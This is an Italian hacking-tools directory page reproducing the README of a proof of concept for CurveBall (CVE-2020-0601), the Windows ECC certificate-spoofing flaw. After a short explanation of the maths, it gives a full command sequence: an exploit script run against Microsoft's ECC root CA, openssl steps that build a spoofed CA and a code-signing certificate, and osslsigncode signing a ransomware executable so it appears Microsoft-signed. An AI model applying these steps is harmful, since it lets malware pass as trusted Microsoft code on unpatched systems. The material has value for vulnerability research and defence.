Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CurveBall-CVE-2020-0601-PoC | Kitploit
Strumenti/GitHubGitHub/okanulkr/curveball-cve-2020-0601-poc
Analisi delle VulnerabilitàAnalisi del CodiceExploitCrittografiaPenetration TestingRed Teaming
GitHubokanulkr/curveball-cve-2020-0601-poc

CurveBall-CVE-2020-0601-PoC

Vedi Repository
5 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CurveBall (CVE-2020-0601) - PoC

Questa vulnerabilità, nota come CurveBall, è dovuta a una verifica non valida dei certificati che utilizzano l'algoritmo ECC. Windows tenta di verificare i certificati precedentemente verificati dalla cache dei certificati e, facendo ciò, controlla solo se le chiavi pubbliche dei certificati sono identiche e non controlla altri parametri.

Dettagli matematici

Per falsificare il certificato, impostiamo esplicitamente i parametri come segue:

root@kitploit:~
d' = 1 
G' = Q

Se hai bisogno di maggiori informazioni, puoi controllare la sezione dei dettagli matematici del file final_report_milestone_IV.pdf.

Utilizzo (Firma del codice)

In questo PoC, usiamo "Microsoft ECC Product Root Certificate Authority", che è il certificato attendibile di Microsoft fino all'anno 2043.

Estraiamo la chiave pubblica dalla CA e modifichiamola in base alla vulnerabilità

root@kitploit:~
ruby exploit.rb ./MicrosoftECCProductRootCertificateAuthority.cer

Generiamo un nuovo certificato x509 basato su questa chiave. Questa sarà la nostra CA falsificata.

root@kitploit:~
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt -subj "/C=/ST=/L=/O=/OU=/CN=/emailAddress="

Per vedere il contenuto di spoofed_ca.crt

root@kitploit:~
openssl x509 -in spoofed_ca.crt -noout -text

Generiamo una nuova chiave. Questa chiave può essere di qualsiasi tipo tu voglia. Verrà utilizzata per creare un certificato di firma del codice, che firmeremo con la nostra CA.

root@kitploit:~
openssl ecparam -name secp384r1 -genkey -noout -out cert.key

Successivamente, creiamo una nuova richiesta di firma del certificato (CSR). Questa richiesta viene spesso inviata a CA attendibili, ma poiché ne abbiamo una falsificata, possiamo firmarla noi stessi.

root@kitploit:~
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

Firmiamo la nostra nuova CSR con la nostra CA falsificata e la chiave della CA. Questo certificato scadrà nel 2047, mentre la vera CA attendibile di Microsoft scadrà nel 2043.

root@kitploit:~
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs

L'unica cosa rimasta è impacchettare il certificato, la sua chiave e la CA falsificata in un file PKCS12 per firmare gli eseguibili.

root@kitploit:~
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12

Firmiamo il nostro eseguibile con il file PKCS12.

root@kitploit:~
osslsigncode sign -pkcs12 cert.p12 -n "Signed by PISP Team" -in unsigned_ransomware.exe -out microsoft_signed_ransomware.exe -pass 1234

Ora, abbiamo un ransomware nuovo di zecca firmato da Microsoft :)

Scarica lo strumento